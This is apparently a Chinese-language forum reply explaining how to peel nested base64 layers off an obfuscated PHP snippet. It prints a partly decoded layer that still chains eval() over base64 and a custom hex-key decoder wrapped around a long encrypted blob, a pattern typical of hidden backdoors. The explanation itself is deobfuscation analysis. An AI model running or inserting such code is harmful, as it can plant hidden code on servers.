你这里是n多层base64加密，你得一层一层解密出来。
第一层解密出来是：
$v_amP16sfm7S="JHZfcUs3U3JoQmo4bz0iWm5WdVkzUnBiMjRnZGw4M2RXaFdhRzQxTVhFMktDUjJYMmhxVkRScFRWRTFNR3dwZXlSMlgzWXdaalE0VjNjMWRHUTlNRHQzYUdsc1pTZ3hLWHRwWmlna2RsOW9hbFEwYVUxUk5UQnNXeVIyWDNZd1pqUTRWM2MxZEdSZFBUMXVkV3hzS1dKeVpXRnJPeXNySkhaZmRqQm1ORGhYZHpWMFpEdDljbVYwZFhKdUpIWmZkakJtTkRoWGR6VjBaRHQ5IjtldmFsKGJhc2U2NF9kZWNvZGUoJHZfcUs3U3JoQmo4bykpO2Z1bmN0aW9uIHZfbzFiMnpuZ096Migkdl9SUG5idks1eGJyLCR2X2FCMXpRYnZiMVApe2VjaG8gIiI7JHZfN3JkOE02TjZ4cz0iIjskdl9mbjNMdzFxNldNPSh2Xzd1aFZobjUxcTYoJHZfYUIxelFidmIxUCkvMik7Zm9yKCR2X2U0UjcxQW5LU2Q9MDskdl9lNFI3MUFuS1NkPCR2X2ZuM0x3MXE2V007Kyskdl9lNFI3MUFuS1NkKXskdl83cmQ4TTZONnhzLj1jaHIoaGV4ZGVjKHN1YnN0cigkdl9hQjF6UWJ2YjFQLCR2X2U0UjcxQW5LU2QqMiwyKSkpO30kdl9MUGlzNXpZcXJpPSIiOyR2X2ZuM0x3MXE2V009dl83dWhWaG41MXE2KCR2XzdyZDhNNk42eHMpOyR2X2ViUHBzNHNZQnE9dl83dWhWaG41MXE2KCR2X1JQbmJ2SzV4YnIpO2Zvcigkdl9lNFI3MUFuS1NkPTA7JHZfZTRSNzFBbktTZDwkdl9mbjNMdzFxNldNOysrJHZfZTRSNzFBbktTZCl7JHZfblQ0ZDNqaXQyOT1zdWJzdHIoJHZfN3JkOE02TjZ4cywkdl9lNFI3MUFuS1NkLDEpOyR2X1BSb1d0YVhaMFA9c3Vic3RyKCR2X1JQbmJ2SzV4YnIsJHZfZTRSNzFBbktTZCUkdl9lYlBwczRzWUJxLDEpOyR2X3pvdjN0c1lMYmE9b3JkKCR2X25UNGQzaml0MjkpOyR2X3MzMGdjZFp6V3o9b3JkKCR2X1BSb1d0YVhaMFApOyR2X3ZqYlhkZFZWNno9JHZfem92M3RzWUxiYS0kdl9zMzBnY2Raeld6OyR2X25UNGQzaml0Mjk9Y2hyKCR2X3ZqYlhkZFZWNnopOyR2X0xQaXM1ellxcmkuPSR2X25UNGQzaml0Mjk7fXJldHVybiR2X0xQaXM1ellxcmk7fQ==";eval(base64_decode($v_amP16sfm7S));$v_fn3Lw1q6WM="c72q0m71WTT1hqZUUZdzL2VA6hvZNmhf";$v_0ZcSM616gf="C9ACA0D4A4D6A69F77C8C490D0D6BBB9BACC8CA3C73C5FA699D0E57A75A9DBDADCA39791A4E6A7969476C896E0E589B8C8CD86B8736D604A9BCBDEC96E948BC9D2A5A6D69EE1B297C3C3B5A5A2DDBFBBC995E1A1873C5FA699D0E57A75A997D9D7B09ED66E94723BD45E5E92CCD5B9B6B8CECDE9BA5A7DB8A6C7DEBFAFD18F92835EA6E18FD59C92BBB9C65891AC7A5F5F898EA4765C806B6092A084789792908D615C9B5A97615B817E7E5B929B847F7F848EA4765C806B6092A084789792908D615C9B5A97615B817E7E5B929B847F7F848EA4765C806B6092A084789792908D615C9B5A97615B817E7E5B929B84845F7ED8EAAB98C5B0AACDE8B9B1DFCDCACCAB52AE5094739277BCC696CEAE7CBDC9CED4B47B61CDB8AD96EABFBBDDD4C7D79C9EDAA4D26594C6C18398DAD2C0BBBECECDA7C0A7CAB0A8D1D7C6C19AD8CED2ABA1E498DCA75EC0C0C0A6DBE5CCB6C9C9D6A96E709DB397CEDCC3C2D6A495C4755E916CCE5799C9B9BA6E8AD9CEC9C59493A9C3A9CD6F97D8E6CD82DFCDD4D76595E09D9CAA99B8C6B9A1D7DAC8C983C2D8E7B85494949EC9E8BF9EDCD1D4D7577AE0A3E1A09FBE908392A691D675A8C3D8DF6C85C6B0A4DBE5CCB3D188C8DC5793916CCE5799C9B9BA6E8AD9CEC9C59493A9C3A9CD6F9ED1ECBFBADCCBCFD7B060DF95E1596FBBB9B89ACBD2CEBAB97AD7DFBEA8BBB37297D7986ECEDC86ABA0A8D69CDC9A9ACBCD7B6C727BC0CAC3BDD8E3BBA076A29ACCD5C7B3E1C9C5CFA0A0DC5896B23B60B9B799D7918191C1C3A2B6AD52BEB39BCEB37CB6E1DCD69D6661E8A7E46599C6C7C8A3CDD7BFC783BDD3E77B5476B59FDCE2BF8B8FBFCBC5577AE0A3E1A09FBE74989ADAD6BDC9C4CCDD9C8A89BBA356B0E5CDC2D6D6CD9F6693AF6C9CA39A957B8F3B71D6BDBDC47A8BB6B89B947D9788DECCB3D3A588CBABA6E16A9C66A8CECB82A5D7E18B85B8C2C9DBBCA9BBA39ED7E9CEB7DBCF94C6A69FA0528DAB9ACBC0B96E8AC8BFB775A2D3EDC09BC4A856ACDFCCB3D0DCD5D5B054AF87D299A4C0C8B951B0E0CDC9BEC8CBB67B93947D65D4DF9875A872E36D9896D58FCE9AA5C0C3C2598FE8CAB4C2BFD8DB735E766897CCDAB9BBD2DCC7C2A39BDF9B94606C615E835B929B847F7F848EA4765C806B6092A084789792908D615C9B5A97615B817E7E5B929B847F7F848EA4765C806B6092A084789792908D615C9B5A97615B817E7E5B929B847F7F848EA4765C806B6092A084789792908D615C9B5A97615B865EBAA6D6D4CEBEC4C884EEB19FC6AD97DCDBC6B7E1CDC5D69FA1E88FD9A09FC2C77C5AE37B6379B8CFD6ECB1A0CA7E9DCDEAB9BDDDDCCFD2A55A98A4D2A4A1C3B5C896D4DACEBAB4C6CDE8B7A57D6A71727FC3B49589CFD6969AE09DD25F5A777A7A5189DACDB4BBCCD3E8C091C6A29DCD9E8377E871958DA098919EDCAB51BFC3C1969491D1BA75C4D9EDC052C8A6AADDE8C86EE1D0CB83A39BDF9BE06351BBC3C258DC91BDBDBABDCF9A7453BFB495D0E5C7B395918F8D663C7A39DF9CA5CCC6C2518CD4CFC7C7BFD2EEA759C2AAA4D3E981ABA8726FE0413B9598CEAA99947B8D6B98AA8A8985918BB5563B7AB1A5DBEAB9C4CEDACFC4999ED6A38D7451B8C6C692E199645E5E81C6E6BB99B5A9A5D5DB818BABCFCBD79694DD9FD4A09FBDC37C58D0E0C7BA7C839084553B7DA3A2D7DDB9C2D6DCD2C85E6FAF97D2AB90B9C0C398D1DFC0C47D81D8E3C09EBB685F9480635794DCCEC8A497D0A3DDA6A57E9192589998865F5E638BEEB497C3A695D1DA818BAB8F9F8A633C7A3994AB99BCC1B990DED6CC7C92988BAB7A62896862727F6375E1D0CBD09C91DF91DA9C5894927B88C9E5BFC798C9D0E9BE59824B3F91B1645876D1CC8B5B95E6A2DF9C9FCB91916EAEB2A6A89A7AE0F66C56B9B6A8DADBC8C2C88FDACCA497988D8D7351CBBDC196909A8789888C94AA6C52D2BD568CD9CFC0DFCDD4D79259D991E09F58B4759155D0D2CDBD7ED584A9769FBFAF5699A87AB6DCDDD8D661617B39765B9FBCCB9192DAE3BBCE7D839F84553B7AAF9BDFD181C2D6D5CB8A946FE599DA9C59808F5E3A7195C8BACCB58BE2ADA5BE6893A59AC2AFE0D0A16D403B959ED2AE8C7EC0BD9FD3E481B292CEC9E7BC9EB7B59BD4DFCEB3CCCFCBD7969EDA9ED8AA597BC4C3A4DCD0D0B6C7C3C5DCB897C96A71727F63587671CFC95F56DF95E49258C3BDC29CDB98B7929297AABB98859B6AB188A584C5D5CDD4839B93E5918D9CA3C9C3C65D88E4C9B8C0BFD89AC09BC3A69A88E5CFC28DD7D883AAA6E395CEA451CBBDC19688E0CFC9817ADBDF6CA7C6A597DCDB7AC2D5CD86D7A09FD65A9C413A605D789FCDE8B57CC1C3D2E5BF59B37E5ACBEBCCC0D2D6DABE5E9EDA9ED8AA58B48F5E3A71EE645F5E63D9EAB093CAA695D7E6CEB7DCD68E85AB97DEA0D998A5BCC0BDA5CDD0C6BEC3C5D79C7856C4A6AD91B17A7D97DCCEC8579EDA9ED8579EB8CDB69688DACD75BAC7D4EEC552B8B6AA88EDBF6ED7DDD9D757A5D2A6D257A5BFB974A5D1DEBF75BEC8D8E96C96B7B597CAD7CDB39797706C40A4D6A4E2A99F7778C296DFCC81C1BEC8CFED738F914B3FE5DBC6C1D2E3706C40A4D6A4E2A99F7778B7A6DAE3BFC3C9B58BE6B5A0C1B45DC5B16457EA72E36D4198E69ED0AB9AC6C274A5CDDECAC1B6CEC9E6B5A6BBA09DCDEAB9BAD6D6D1D65F56E19FE0AB90CDB5C69AC9D3C6BAC883DF84559BC4A4A2DDDABFADDCD6C9C85F73B383BD78859F748251BFC1A3A3987A929A7361C8B4A996E6C2BE9491A16D4098E0A2D29894BF7C78A1D7E4CEB4CBBBD6E3AD94C2A6A988D7CD6E91D3CBDC747095A6CEA3A6BC7DCF3B717A7EB9B6CEC5A889527AAC9BE1A4818B9496D8C4AEA7E39CD2A594C6B8B9598CE7BBC1CABF8DA86E58787C4071F3645791CCC7D7986FE3A4DFA09E7F78B892DCD286777B7C8DB5563B7AB5A3D8D5BCBDDCD4A3A9787EC475A8413AC0BA7C7EA9B8AA9E9AB9A7BB8F7A9BA085B69FD55876718AD7A4A2D092DCA69D94A8A686ADAC645E5EBEC9E0B5A0BB695DB5B7A19EB6ADC5A67875B975CC867F7E80746191AC645ED2646E8370A4C9B473CEDBCEB1D5C7D8D6AA5A9898E1ABA1918383A8DFE888C9BAC7D4E6ADA6BBB4AAC9EACD7CD0D7D39298A2DA5FDFAAA486937B5F8CD5BBC9B6839F84559BBC695ADCE3CAADCFD7D5CF746FAE84BF8C768074B896CEDAC8BA7D81B1BB93829F8695ABB79D96B2C7B5B15E5E916196723B615DBD979095CCC8C88384F5563B5F659FDCDBC7C18DA586C4A9A4D2A9CCAA9DC0B7B9598CE3CDC88298CDEEB19FC96D5698A27A8196A3958DA493DC958DAAA6C9B974A8CD91C1BAC97AB1BBA47BA3968388A97ABAD6D6D1D65781BF7CC66160615D5D9ACE99BDC4CAC8D8A2709BCAA6A3DB9F978B9D9186D59CA6E6A2DB5753798F5E3A71D7C9C7BABBC7E26C5A7EA2A8DAD7D37791D1DAC8A4A59191E05755C0C8B99E889AD55F5E636D9EC09FC69C93A59AC3C2D2D5C18AA7A4D696D6AF58B4827B6DC991C2C7BAC0A19C73607AAAAACDE3B575D9D1D4CE5E8F9F578F57A5C0C8C096A593818379C3D8DFB98D7DA59BDBD9CCB7DDDCCFD2A559CE5E94596F7E82789ADCD6C7B07CCECDEEB8977D9E648FB289AFAB8FA16D403BEE3A764055C3BDC29CDBAE7EC7C8CD91B8AF9AB7AFA4CDE2B575DDDACBC9A0AA988D9BA09EC7C0C395CD997C81757C909EC09FC66A71727F6372D9D1D4CEAA6FE4A4DFA0A1B6C8B598DB997EC1BEC8CFED785492A2748A9F956E9C92CAD2AC94DD958D9AA0C5BABDA3D591CEBDB6CE84E9BA9ECF61AACDEECE6ECED6CA83A39BDF9BE05792C9B97492D4DDC9CC83849384553BC8A6AADDE8C86E91D4CFD1A2A5AC3A76B496C3C7B9AC727A63C7BACED9ECBA529C8282BBBB955876E570E0413B7A3AD3AC9FBAC8BDA0D691CEBDBAC7C9D9AFA4BBA59FDC9E83C97771CDCFA694D29C8D5BA5C7B3BAA0D7E5BFC7B4BDD6DFB09BCA7C4071DBBDB6DC888AD7A791D79FDCAB96C9B3B7A3CDD5C3C983CEC9E7BC9EB7B59BD4DFCEB3CCDBCED2AE91DD99DBA2A47F7D8F3BE57BC0CAC3BDD8E3BBA076B5A6C7DCC9BDE1CDD88B60AD7B39D4A3A0B9B5C0518CE5CAB4BBC9D3EEB1A4B5A4A8CDDAC3C2A8726FD29991E4A4CEA9A57F7D8F3B71DAC8B8C1CFC8DF6C869B8E86B4B7AE93BDA9BAAB6554A096DCA6A5BCC682A1D0E17C905F6388EEBC91BCB0A5DCDBCCADD0D7D4D79CA0E56DDC9990BEB9C890CBDDBFB6C3828DB5563BBFA75EDBEACCBEDCDB8E87ABA2D096DCA6A5BCC6B394D7DFCEBAC3CE909EC0A2B5A7A5D7EABFC0CCCBD8C89B9BE5598D586E9474BA92D4E4BF7E75BFC7E2BB527AB5A6C7DCC9BDE1CDD8C29AA1DFA4D2A5A5925ED13BC9D5BEB4B6BDD8E3BBA07E689DCDEAB9B4DCD7DAC8A9599D57E1A790BDC3C3A5CDE3817E90";eval(v_o1b2zngOz2($v_fn3Lw1q6WM,$v_0ZcSM616gf));
其中 $v_amP16sfm7S 有时base64加密的，你又得将它base64解密出来
